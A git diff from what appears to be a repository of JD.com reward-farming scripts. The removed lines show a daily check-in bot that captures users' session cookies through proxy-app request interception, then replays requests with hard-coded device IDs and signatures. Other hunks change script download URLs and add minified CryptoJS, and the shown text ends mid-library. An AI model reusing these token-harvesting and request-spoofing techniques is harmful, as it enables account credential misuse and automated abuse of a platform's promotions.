'https://api.m.jd.com/api?appid=jdsupermarket&functionId=smtg_sign&clientVersion=8.0.0&client=m&body=%7B%7D', - headers: { - Cookie: KEY, - Origin: `https://jdsupermarket.jd.com` - } - }, (error, response, data) => { - try { - if (error) throw new Error(error); - const cc = JSON.parse(data); - const Details = LogDetails ? "response:\n" + data : ''; - if (cc.data && cc.data.success === true && cc.data.bizCode === 0) { - console.log(`\n京东商城-超市签到成功 ${Details}`) - merge.JDGStore.success = 1 - merge.JDGStore.bean = cc.data.result.jdBeanCount || 0 - merge.JDGStore.notify = `京东商城-超市: 成功, 明细: ${merge.JDGStore.bean||`无`}京豆 🐶` - } else { - if (!cc.data) cc.data = {} - console.log(`\n京东商城-超市签到失败 ${Details}`) - const tp = cc.data.bizCode == 811 ? `已签过` : cc.data.bizCode == 300 ? `Cookie失效` : `${cc.data.bizMsg||`未知`}` - merge.JDGStore.notify = `京东商城-超市: 失败, 原因: ${tp}${cc.data.bizCode==300?`‼️`:` ⚠️`}` - merge.JDGStore.fail = 1 - } - } catch (eor) { - $nobyda.AnError("京东商城-超市", "JDGStore", eor, response, data) - } finally { - resolve() - } - }) - }, s) - if (out) setTimeout(resolve, out + s) - }); -} - -function JDSecKilling(s) { //领券中心 - merge.JDSecKill = {}; - return new Promise((resolve, reject) => { - if (disable("JDSecKill")) return reject(); - setTimeout(() => { - $nobyda.post({ - url: 'https://api.m.jd.com/client.action', - headers: { - Cookie: KEY, - Origin: 'https://h5.m.jd.com' - }, - body: 'functionId=homePageV2&appid=SecKill2020' - }, (error, response, data) => { - try { - if (error) throw new Error(error); - const Details = LogDetails ? "response:\n" + data : ''; - const cc = JSON.parse(data); - if (cc.code == 203 || cc.code == 3 || cc.code == 101) { - merge.JDSecKill.notify = `京东秒杀-红包: 失败, 原因: Cookie失效‼️`; - } else if (cc.result && cc.result.projectId && cc.result.taskId) { - console.log(`\n京东秒杀-红包查询成功 ${Details}`) - return resolve({ - projectId: cc.result.projectId, - taskId: cc.result.taskId - }) - } else { - merge.JDSecKill.notify = `京东秒杀-红包: 失败, 暂无有效活动 ⚠️`; - } - merge.JDSecKill.fail = 1; - console.log(`\n京东秒杀-红包查询失败 ${Details}`) - reject() - } catch (eor) { - $nobyda.AnError("京东秒杀-查询", "JDSecKill", eor, response, data) - reject() - } - }) - }, s) - if (out) setTimeout(resolve, out + s) - }).then(async (id) => { - await new Promise(resolve => { - $nobyda.post({ - url: 'https://api.m.jd.com/client.action', - headers: { - Cookie: KEY, - Origin: 'https://h5.m.jd.com' - }, - body: `functionId=doInteractiveAssignment&body=%7B%22encryptProjectId%22%3A%22${id.projectId}%22%2C%22encryptAssignmentId%22%3A%22${id.taskId}%22%2C%22completionFlag%22%3Atrue%7D&client=wh5&appid=SecKill2020` - }, (error, response, data) => { - try { - if (error) throw new Error(error); - const Details = LogDetails ? "response:\n" + data : ''; - const cc = JSON.parse(data); - if (cc.msg == 'success' && cc.subCode == 0) { - console.log(`\n京东秒杀-红包签到成功 ${Details}`); - const qt = data.match(/"discount":(\d.*?),/); - merge.JDSecKill.success = 1; - merge.JDSecKill.Cash = qt ? qt[1] : 0; - merge.JDSecKill.notify = `京东秒杀-红包: 成功, 明细: ${merge.JDSecKill.Cash||`无`}红包 🧧`; - } else { - console.log(`\n京东秒杀-红包签到失败 ${Details}`); - merge.JDSecKill.fail = 1; - merge.JDSecKill.notify = `京东秒杀-红包: 失败, ${cc.subCode==103?`原因: 已领取`:cc.msg?cc.msg:`原因: 未知`} ⚠️`; - } - } catch (eor) { - $nobyda.AnError("京东秒杀-领取", "JDSecKill", eor, response, data); - } finally { - resolve(); - } - }) - }) - }, () => {}); -} - -function TotalSteel() { - merge.TotalSteel = {}; - return new Promise(resolve => { - if (disable("TSteel")) return resolve() - $nobyda.get({ - url: 'https://coin.jd.com/m/gb/getBaseInfo.html', - headers: { - Cookie: KEY - } - }, (error, response, data) => { - try { - if (error) throw new Error(error); - const Details = LogDetails ? "response:\n" + data : ''; - if (data.match(/(\"gbBalance\":\d+)/)) { - console.log("\n" + "京东-总钢镚查询成功 " + Details) - const cc = JSON.parse(data) - merge.TotalSteel.TSteel = cc.gbBalance - } else { - console.log("\n" + "京东-总钢镚查询失败 " + Details) - } - } catch (eor) { - $nobyda.AnError("账户钢镚-查询", "TotalSteel", eor, response, data) - } finally { - resolve() - } - }) - if (out) setTimeout(resolve, out) - }); -} - -function getEid(ss, title) { - return new Promise(resolve => { - const options = { - url: `https://gia.jd.com/fcf.html?a=${ss.a}`, - body: `d=${ss.d}`, - headers: { - "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" - } - } - $nobyda.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`\n${title} 登录: API查询请求失败 ‼️‼️`) - throw new Error(err); - } else { - if (data.indexOf("*_*") > 0) { - data = data.split("*_*", 2); - data = JSON.parse(data[1]); - eid = data.eid - } else { - console.log(`京豆api返回数据为空,请检查自身原因`) - } - } - } catch (eor) { - $nobyda.AnError(eor, resp); - } finally { - resolve(data); - } - }) - }) -} - -function TotalBean() { - merge.TotalBean = {}; - return new Promise(resolve => { - if (disable("Qbear")) return resolve() - $nobyda.get({ - url: 'https://me-api.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2', - headers: { - Cookie: KEY - } - }, (error, response, data) => { - try { - if (error) throw new Error(error); - const Details = LogDetails ? "response:\n" + data : ''; - const cc = JSON.parse(data) - if (cc.msg == 'success' && cc.retcode == 0) { - merge.TotalBean.nickname = cc.data.userInfo.baseInfo.nickname || "" - merge.TotalBean.Qbear = cc.data.assetInfo.beanNum || 0 - $nobyda.headUrl = cc.data.userInfo.baseInfo.headImageUrl || "" - console.log(`\n京东-总京豆查询成功 ${Details}`) - } else { - const name = decodeURIComponent(KEY.split(/pt_pin=(.+?);/)[1] || ''); - merge.TotalBean.nickname = cc.retcode == 1001 ? `${name} (CK失效‼️)` : ""; - console.log(`\n京东-总京豆查询失败 ${Details}`) - } - } catch (eor) { - $nobyda.AnError("账户京豆-查询", "TotalBean", eor, response, data) - } finally { - resolve() - } - }) - if (out) setTimeout(resolve, out) - }); -} - -function TotalCash() { - merge.TotalCash = {}; - return new Promise(resolve => { - if (disable("TCash")) return resolve() - $nobyda.post({ - url: 'https://api.m.jd.com/client.action?functionId=myhongbao_balance', - headers: { - Cookie: KEY - }, - body: "body=%7B%22fp%22%3A%22-1%22%2C%22appToken%22%3A%22apphongbao_token%22%2C%22childActivityUrl%22%3A%22-1%22%2C%22country%22%3A%22cn%22%2C%22openId%22%3A%22-1%22%2C%22childActivityId%22%3A%22-1%22%2C%22applicantErp%22%3A%22-1%22%2C%22platformId%22%3A%22appHongBao%22%2C%22isRvc%22%3A%22-1%22%2C%22orgType%22%3A%222%22%2C%22activityType%22%3A%221%22%2C%22shshshfpb%22%3A%22-1%22%2C%22platformToken%22%3A%22apphongbao_token%22%2C%22organization%22%3A%22JD%22%2C%22pageClickKey%22%3A%22-1%22%2C%22platform%22%3A%221%22%2C%22eid%22%3A%22-1%22%2C%22appId%22%3A%22appHongBao%22%2C%22childActiveName%22%3A%22-1%22%2C%22shshshfp%22%3A%22-1%22%2C%22jda%22%3A%22-1%22%2C%22extend%22%3A%22-1%22%2C%22shshshfpa%22%3A%22-1%22%2C%22activityArea%22%3A%22-1%22%2C%22childActivityTime%22%3A%22-1%22%7D&client=apple&clientVersion=8.5.0&d_brand=apple&networklibtype=JDNetworkBaseAF&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=fdc04c3ab0ee9148f947d24fb087b55d&st=1581245397648&sv=120" - }, (error, response, data) => { - try { - if (error) throw new Error(error); - const Details = LogDetails ? "response:\n" + data : ''; - if (data.match(/(\"totalBalance\":\d+)/)) { - console.log("\n" + "京东-总红包查询成功 " + Details) - const cc = JSON.parse(data) - merge.TotalCash.TCash = cc.totalBalance - } else { - console.log("\n" + "京东-总红包查询失败 " + Details) - } - } catch (eor) { - $nobyda.AnError("账户红包-查询", "TotalCash", eor, response, data) - } finally { - resolve() - } - }) - if (out) setTimeout(resolve, out) - }); -} - -function TotalSubsidy() { - merge.TotalSubsidy = {}; - return new Promise(resolve => { - if (disable("TotalSubsidy")) return resolve() - $nobyda.get({ - url: 'https://ms.jr.jd.com/gw/generic/uc/h5/m/mySubsidyBalance', - headers: { - Cookie: KEY, - Referer: 'https://active.jd.com/forever/cashback/index?channellv=wojingqb' - } - }, (error, response, data) => { - try { - if (error) throw new Error(error); - const cc = JSON.parse(data) - const Details = LogDetails ? "response:\n" + data : ''; - if (cc.resultCode == 0 && cc.resultData && cc.resultData.data) { - console.log("\n京东-总金贴查询成功 " + Details) - merge.TotalSubsidy.TSubsidy = cc.resultData.data.balance || 0 - } else { - console.log("\n京东-总金贴查询失败 " + Details) - } - } catch (eor) { - $nobyda.AnError("账户金贴-查询", "TotalSubsidy", eor, response, data) - } finally { - resolve() - } - }) - if (out) setTimeout(resolve, out) - }); -} - -function TotalMoney() { - merge.TotalMoney = {}; - return new Promise(resolve => { - if (disable("TotalMoney")) return resolve() - $nobyda.get({ - url: 'https://api.m.jd.com/client.action?functionId=cash_exchangePage&body=%7B%7D&build=167398&client=apple&clientVersion=9.1.9&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=762a8e894dea8cbfd91cce4dd5714bc5&st=1602179446935&sv=102', - headers: { - Cookie: KEY - } - }, (error, response, data) => { - try { - if (error) throw new Error(error); - const cc = JSON.parse(data) - const Details = LogDetails ? "response:\n" + data : ''; - if (cc.code == 0 && cc.data && cc.data.bizCode == 0 && cc.data.result) { - console.log("\n京东-总现金查询成功 " + Details) - merge.TotalMoney.TMoney = cc.data.result.totalMoney || 0 - } else { - console.log("\n京东-总现金查询失败 " + Details) - } - } catch (eor) { - $nobyda.AnError("账户现金-查询", "TotalMoney", eor, response, data) - } finally { - resolve() - } - }) - if (out) setTimeout(resolve, out) - }); -} - -function disable(Val, name, way) { - const read = $nobyda.read("JD_DailyBonusDisables") - const annal = $nobyda.read("JD_Crash_" + Val) - if (annal && way == 1 && boxdis) { - var Crash = $nobyda.write("", "JD_Crash_" + Val) - if (read) { - if (read.indexOf(Val) == -1) { - var Crash = $nobyda.write(`${read},${Val}`, "JD_DailyBonusDisables") - console.log(`\n${name}-触发自动禁用 ‼️`) - merge[Val].notify = `${name}: 崩溃, 触发自动禁用 ‼️` - merge[Val].error = 1 - $nobyda.disable = 1 - } - } else { - var Crash = $nobyda.write(Val, "JD_DailyBonusDisables") - console.log(`\n${name}-触发自动禁用 ‼️`) - merge[Val].notify = `${name}: 崩溃, 触发自动禁用 ‼️` - merge[Val].error = 1 - $nobyda.disable = 1 - } - return true - } else if (way == 1 && boxdis) { - var Crash = $nobyda.write(name, "JD_Crash_" + Val) - } else if (way == 2 && annal) { - var Crash = $nobyda.write("", "JD_Crash_" + Val) - } - if (read && read.indexOf(Val) != -1) { - return true - } else { - return false - } -} - -function Wait(readDelay, ini) { - if (!readDelay || readDelay === '0') return 0 - if (typeof(readDelay) == 'string') { - var readDelay = readDelay.replace(/"|"|'|'/g, ''); //prevent novice - if (readDelay.indexOf('-') == -1) return parseInt(readDelay) || 0; - const raw = readDelay.split("-").map(Number); - const plan = parseInt(Math.random() * (raw[1] - raw[0] + 1) + raw[0], 10); - if (ini) console.log(`\n初始化随机延迟: 最小${raw[0]/1000}秒, 最大${raw[1]/1000}秒`); - // else console.log(`\n预计等待: ${(plan / 1000).toFixed(2)}秒`); - return ini ? readDelay : plan - } else if (typeof(readDelay) == 'number') { - return readDelay > 0 ? readDelay : 0 - } else return 0 -} - -function CookieMove(oldCk1, oldCk2, oldKey1, oldKey2, newKey) { - let update; - const move = (ck, del) => { - console.log(`京东${del}开始迁移!`); - update = CookieUpdate(null, ck).total; - update = $nobyda.write(JSON.stringify(update, null, 2), newKey); - update = $nobyda.write("", del); - } - if (oldCk1) { - const write = move(oldCk1, oldKey1); - } - if (oldCk2) { - const write = move(oldCk2, oldKey2); - } -} - -function checkFormat(value) { //check format and delete duplicates - let n, k, c = {}; - return value.reduce((t, i) => { - k = ((i.cookie || '').match(/(pt_key|pt_pin)=.+?;/g) || []).sort(); - if (k.length == 2) { - if ((n = k[1]) && !c[n]) { - i.cookie = k.join('') - if (i.jrBody && !i.jrBody.includes('reqData=')) { - console.log(`异常钢镚Body已过滤: ${i.jrBody}`) - delete i.jrBody; - } - c[n] = t.push(i); - } - } else { - console.log(`异常京东Cookie已过滤: ${i.cookie}`) - } - return t; - }, []) -} - -function CookieUpdate(oldValue, newValue, path = 'cookie') { - let item, type, name = (oldValue || newValue || '').split(/pt_pin=(.+?);/)[1]; - let total = $nobyda.read('CookiesJD'); - try { - total = checkFormat(JSON.parse(total || '[]')); - } catch (e) { - $nobyda.notify("京东签到", "", "Cookie JSON格式不正确, 即将清空\n可前往日志查看该数据内容!"); - console.log(`京东签到Cookie JSON格式异常: ${e.message||e}\n旧数据内容: ${total}`); - total = []; - } - for (let i = 0; i < total.length; i++) { - if (total[i].cookie && new RegExp(`pt_pin=${name};`).test(total[i].cookie)) { - item = i; - break; - } - } - if (newValue && item !== undefined) { - type = total[item][path] === newValue ? -1 : 2; - total[item][path] = newValue; - item = item + 1; - } else if (newValue && path === 'cookie') { - total.push({ - cookie: newValue - }); - type = 1; - item = total.length; - } - return { - total, - type, //-1: same, 1: add, 2:update - item, - name: decodeURIComponent(name) - }; -} - -function GetCookie() { - const req = $request; - if (req.method != 'OPTIONS' && req.headers) { - const CV = (req.headers['Cookie'] || req.headers['cookie'] || ''); - const ckItems = CV.match(/(pt_key|pt_pin)=.+?;/g); - if (/^https:\/\/(me-|)api(\.m|)\.jd\.com\/(client\.|user_new)/.test(req.url)) { - if (ckItems && ckItems.length == 2) { - const value = CookieUpdate(null, ckItems.join('')) - if (value.type !== -1) { - const write = $nobyda.write(JSON.stringify(value.total, null, 2), "CookiesJD") - $nobyda.notify(`用户名: ${value.name}`, ``, `${value.type==2?`更新`:`写入`}京东 [账号${value.item}] Cookie${write?`成功 🎉`:`失败 ‼️`}`) - } else { - console.log(`\n用户名: ${value.name}\n与历史京东 [账号${value.item}] Cookie相同, 跳过写入 ⚠️`) - } - } else { - throw new Error("写入Cookie失败, 关键值缺失\n可能原因: 非网页获取 ‼️"); - } - } else if (/^https:\/\/ms\.jr\.jd\.com\/gw\/generic\/hy\/h5\/m\/appSign\?/.test(req.url) && req.body) { - const value = CookieUpdate(CV, req.body, 'jrBody'); - if (value.type) { - const write = $nobyda.write(JSON.stringify(value.total, null, 2), "CookiesJD") - $nobyda.notify(`用户名: ${value.name}`, ``, `获取京东 [账号${value.item}] 钢镚Body${write?`成功 🎉`:`失败 ‼️`}`) - } else { - throw new Error("写入钢镚Body失败\n未获取该账号Cookie或关键值缺失‼️"); - } - } else if (req.url === 'http://www.apple.com/') { - throw new Error("类型错误, 手动运行请选择上下文环境为Cron ⚠️"); - } - } else if (!req.headers) { - throw new Error("写入Cookie失败, 请检查匹配URL或配置内脚本类型 ⚠️"); - } -} - -// Modified from yichahucha -function nobyda() { - const start = Date.now() - const isRequest = typeof $request != "undefined" - const isSurge = typeof $httpClient != "undefined" - const isQuanX = typeof $task != "undefined" - const isLoon = typeof $loon != "undefined" - const isJSBox = typeof $app != "undefined" && typeof $http != "undefined" - const isNode = typeof require == "function" && !isJSBox; - const NodeSet = 'CookieSet.json' - const node = (() => { - if (isNode) { - const request = require('request'); - const fs = require("fs"); - const path = require("path"); - return ({ - request, - fs, - path - }) - } else { - return (null) - } - })() - const notify = (title, subtitle, message, rawopts) => { - const Opts = (rawopts) => { //Modified from https://github.com/chavyleung/scripts/blob/master/Env.js - if (!rawopts) return rawopts - if (typeof rawopts === 'string') { - if (isLoon) return rawopts - else if (isQuanX) return { - 'open-url': rawopts - } - else if (isSurge) return { - url: rawopts - } - else return undefined - } else if (typeof rawopts === 'object') { - if (isLoon) { - let openUrl = rawopts.openUrl || rawopts.url || rawopts['open-url'] - let mediaUrl = rawopts.mediaUrl || rawopts['media-url'] - return { - openUrl, - mediaUrl - } - } else if (isQuanX) { - let openUrl = rawopts['open-url'] || rawopts.url || rawopts.openUrl - let mediaUrl = rawopts['media-url'] || rawopts.mediaUrl - return { - 'open-url': openUrl, - 'media-url': mediaUrl - } - } else if (isSurge) { - let openUrl = rawopts.url || rawopts.openUrl || rawopts['open-url'] - return { - url: openUrl - } - } - } else { - return undefined - } - } - console.log(`${title}\n${subtitle}\n${message}`) - if (isQuanX) $notify(title, subtitle, message, Opts(rawopts)) - if (isSurge) $notification.post(title, subtitle, message, Opts(rawopts)) - if (isJSBox) $push.schedule({ - title: title, - body: subtitle ? subtitle + "\n" + message : message - }) - } - const write = (value, key) => { - if (isQuanX) return $prefs.setValueForKey(value, key) - if (isSurge) return $persistentStore.write(value, key) - if (isNode) { - try { - if (!node.fs.existsSync(node.path.resolve(__dirname, NodeSet))) - node.fs.writeFileSync(node.path.resolve(__dirname, NodeSet), JSON.stringify({})); - const dataValue = JSON.parse(node.fs.readFileSync(node.path.resolve(__dirname, NodeSet))); - if (value) dataValue[key] = value; - if (!value) delete dataValue[key]; - return node.fs.writeFileSync(node.path.resolve(__dirname, NodeSet), JSON.stringify(dataValue)); - } catch (er) { - return AnError('Node.js持久化写入', null, er); - } - } - if (isJSBox) { - if (!value) return $file.delete(`shared://${key}.txt`); - return $file.write({ - data: $data({ - string: value - }), - path: `shared://${key}.txt` - }) - } - } - const read = (key) => { - if (isQuanX) return $prefs.valueForKey(key) - if (isSurge) return $persistentStore.read(key) - if (isNode) { - try { - if (!node.fs.existsSync(node.path.resolve(__dirname, NodeSet))) return null; - const dataValue = JSON.parse(node.fs.readFileSync(node.path.resolve(__dirname, NodeSet))) - return dataValue[key] - } catch (er) { - return AnError('Node.js持久化读取', null, er) - } - } - if (isJSBox) { - if (!$file.exists(`shared://${key}.txt`)) return null; - return $file.read(`shared://${key}.txt`).string - } - } - const adapterStatus = (response) => { - if (response) { - if (response.status) { - response["statusCode"] = response.status - } else if (response.statusCode) { - response["status"] = response.statusCode - } - } - return response - } - const get = (options, callback) => { - options.headers['User-Agent'] = 'JD4iPhone/167169 (iPhone; iOS 13.4.1; Scale/3.00)' - if (isQuanX) { - if (typeof options == "string") options = { - url: options - } - options["method"] = "GET" - //options["opts"] = { - // "hints": false - //} - $task.fetch(options).then(response => { - callback(null, adapterStatus(response), response.body) - }, reason => callback(reason.error, null, null)) - } - if (isSurge) { - options.headers['X-Surge-Skip-Scripting'] = false - $httpClient.get(options, (error, response, body) => { - callback(error, adapterStatus(response), body) - }) - } - if (isNode) { - node.request(options, (error, response, body) => { - callback(error, adapterStatus(response), body) - }) - } - if (isJSBox) { - if (typeof options == "string") options = { - url: options - } - options["header"] = options["headers"] - options["handler"] = function(resp) { - let error = resp.error; - if (error) error = JSON.stringify(resp.error) - let body = resp.data; - if (typeof body == "object") body = JSON.stringify(resp.data); - callback(error, adapterStatus(resp.response), body) - }; - $http.get(options); - } - } - const post = (options, callback) => { - options.headers['User-Agent'] = 'JD4iPhone/167169 (iPhone; iOS 13.4.1; Scale/3.00)' - if (options.body) options.headers['Content-Type'] = 'application/x-www-form-urlencoded' - if (isQuanX) { - if (typeof options == "string") options = { - url: options - } - options["method"] = "POST" - //options["opts"] = { - // "hints": false - //} - $task.fetch(options).then(response => { - callback(null, adapterStatus(response), response.body) - }, reason => callback(reason.error, null, null)) - } - if (isSurge) { - options.headers['X-Surge-Skip-Scripting'] = false - $httpClient.post(options, (error, response, body) => { - callback(error, adapterStatus(response), body) - }) - } - if (isNode) { - node.request.post(options, (error, response, body) => { - callback(error, adapterStatus(response), body) - }) - } - if (isJSBox) { - if (typeof options == "string") options = { - url: options - } - options["header"] = options["headers"] - options["handler"] = function(resp) { - let error = resp.error; - if (error) error = JSON.stringify(resp.error) - let body = resp.data; - if (typeof body == "object") body = JSON.stringify(resp.data) - callback(error, adapterStatus(resp.response), body) - } - $http.post(options); - } - } - const AnError = (name, keyname, er, resp, body) => { - if (typeof(merge) != "undefined" && keyname) { - if (!merge[keyname].notify) { - merge[keyname].notify = `${name}: 异常, 已输出日志 ‼️` - } else { - merge[keyname].notify += `\n${name}: 异常, 已输出日志 ‼️ (2)` - } - merge[keyname].error = 1 - } - return console.log(`\n‼️${name}发生错误\n‼️名称: ${er.name}\n‼️描述: ${er.message}${JSON.stringify(er).match(/\"line\"/)?`\n‼️行列: ${JSON.stringify(er)}`:``}${resp&&resp.status?`\n‼️状态: ${resp.status}`:``}${body?`\n‼️响应: ${resp&&resp.status!=503?body:`Omit.`}`:``}`) - } - const time = () => { - const end = ((Date.now() - start) / 1000).toFixed(2) - return console.log('\n签到用时: ' + end + ' 秒') - } - const done = (value = {}) => { - if (isQuanX) return $done(value) - if (isSurge) isRequest ? $done(value) : $done() - } - return { - AnError, - isRequest, - isJSBox, - isSurge, - isQuanX, - isLoon, - isNode, - notify, - write, - read, - get, - post, - time, - done - } -}; \ No newline at end of file diff --git a/README.md b/README.md index bf7e346b0..ea786ff2c 100644 --- a/README.md +++ b/README.md @@ -1 +1 @@ -# NO MORE FAKER +readme \ No newline at end of file diff --git a/encrypted/jd_jxlhb.js b/encrypted/jd_jxlhb.js index 0f066ff49..fae083f38 100644 --- a/encrypted/jd_jxlhb.js +++ b/encrypted/jd_jxlhb.js @@ -7,17 +7,17 @@ ==============Quantumult X============== [task_local] #京喜领88元红包 -11 0,7 * * * https://raw.githubusercontent.com/KingRan/KR/main/jd_jxlhb.js, tag=京喜领88元红包, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +11 0,7 * * * https://raw.githubusercontent.com/shufflewzc/faker2/main/jd_jxlhb.js, tag=京喜领88元红包, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true ==============Loon============== [Script] -cron "11 0,7 * * *" script-path=https://raw.githubusercontent.com/KingRan/KR/main/jd_jxlhb.js,tag=京喜领88元红包 +cron "11 0,7 * * *" script-path=https://raw.githubusercontent.com/shufflewzc/faker2/main/jd_jxlhb.js,tag=京喜领88元红包 ================Surge=============== -京喜领88元红包 = type=cron,cronexp="11 0,7 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/KingRan/KR/main/jd_jxlhb.js +京喜领88元红包 = type=cron,cronexp="11 0,7 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/shufflewzc/faker2/main/jd_jxlhb.js ===============小火箭========== -京喜领88元红包 = type=cron,script-path=https://raw.githubusercontent.com/KingRan/KR/main/jd_jxlhb.js, cronexpr="11 0,7 * * *", timeout=3600, enable=true +京喜领88元红包 = type=cron,script-path=https://raw.githubusercontent.com/shufflewzc/faker2/main/jd_jxlhb.js, cronexpr="11 0,7 * * *", timeout=3600, enable=true */ !function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C 